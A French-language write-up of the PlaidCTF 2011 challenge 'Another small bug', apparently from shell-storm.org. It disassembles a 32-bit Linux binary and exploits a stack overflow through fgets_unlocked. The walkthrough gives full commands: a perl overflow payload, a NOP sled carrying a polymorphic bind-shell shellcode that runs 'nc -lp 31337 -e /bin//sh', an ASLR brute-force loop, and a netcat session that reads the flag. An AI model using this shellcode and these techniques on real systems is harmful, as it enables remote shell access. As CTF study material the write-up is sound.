|
Shell-Storm.org is a development organization based on GNU/Linux systems
that provide free projects and source codes.
Shell-storm.org provides useful information to people who perform security testing.
Title: Write-up - PlaidCTF 2011 - Another small bug
Language: French
Author: Jonathan Salwan (twitter)
Date 2011-04-25
Back
Dans cette épreuve nous avions un binaire à exploiter sur une architecture Linux x86 32bits
avec l'ASLR mis en place.
Regardons avec gdb ce que cela donne.
0x08048193 : cmpl $0x2,0x8(%ebp)
0x08048197 : je 0x80481ba
Check si argc != 2
0x080481ba : mov 0xc(%ebp),%eax
0x080481bd : add $0x4,%eax
0x080481c0 : mov (%eax),%eax
0x080481c2 : mov %eax,(%esp)
0x080481c5 : call 0x80483e8
Ensuite, il place argv dans eax, additionne de 4 pour argv[1] puis fait un call strtoul(argv[1])
Nous savons donc que argv[1] doit être un nombre.
0x080481fc : mov 0x804b49c,%edx <= pointeur sur stdin
0x08048202 : mov 0x21c(%esp),%eax <= résultat de strtoul
0x08048209 : mov %edx,0x8(%esp)
0x0804820d : mov %eax,0x4(%esp)
0x08048211 : lea 0x1c(%esp),%eax <= adresse sur un pointeur
0x08048215 : mov %eax,(%esp)
0x08048218 : call 0x80486b4 <fgets_unlocked>
Il appelle ensuite la fonction fgets_unlocked().
Donc à partir d'ici nous pouvons dire que le binaire fait un fgets_unlocked(&buff, strtoul(argv[1]), stdin)
Commençons à exploiter.
z2_12@a5:~$ echo `perl -e 'print "a"x532 ."BBBB"'` | ./exploitme 999999
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB
Segmentation fault (core dumped)
jonathan@ArchLinux [19-Another_small_bug] $ gdb -c core
GNU gdb (GDB) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
For bug reporting instructions, please see:
.
[New Thread 9249]
Core was generated by `./exploitme 999999'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
Woot c'est bon !!!
Reste plus qu'à bruteforcer %eip pour bypasser l'ASLR. On va faire un gros NOP sled dans l'env puis pointer sur une
adresse au pif en bruteforcant!
Pour le shellcode j'ai pris un bindport car j'avais des problèmes à ouvrir un simple shell... -_-
shellcode nc -lp 31337 -e /bin//sh polymorphic (91 bytes)
z2_12@a5:~$ export EGG=`perl -e 'print "\x90"x32000 ."\xeb\x11\x5e\x31\xc9\xb1\x43\x80\x6c\x0e
\xff\x35\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x95\x66\xf5\x66\x07\xe5\x40\x87\x9d
\xa3\x64\xa8\x9d\x9d\x64\x64\x97\x9e\xbe\x18\x87\x9d\x62\x98\x98\x98\xbe\x16\x87\x20\x3c\x86
\x88\xbe\x16\x02\xb5\x96\x1d\x29\x34\x34\x34\xa3\x98\x55\x62\xa1\xa5\x55\x68\x66\x68\x68\x6c
\x55\x62\x9a\x55\x64\x97\x9e\xa3\x64\x64\xa8\x9d"'`
z2_12@a5:~$ echo `perl -e 'print "a"x524 ."\xd2\x51\x84\xbf"x10'` > file
while true ; do /opt/pctf/z2/exploitme 99999999 < file ; done
z2_12@a5:~$ netcat 127.0.0.1 31337
^[[A
ls
file
getenv
getenv.c
cat /opt/pctf/z2/key
This is the key: EASTEREGGHUNTS_ARE_FUN
^C
z2_12@a5:~$
Et voilà,
Djo,
|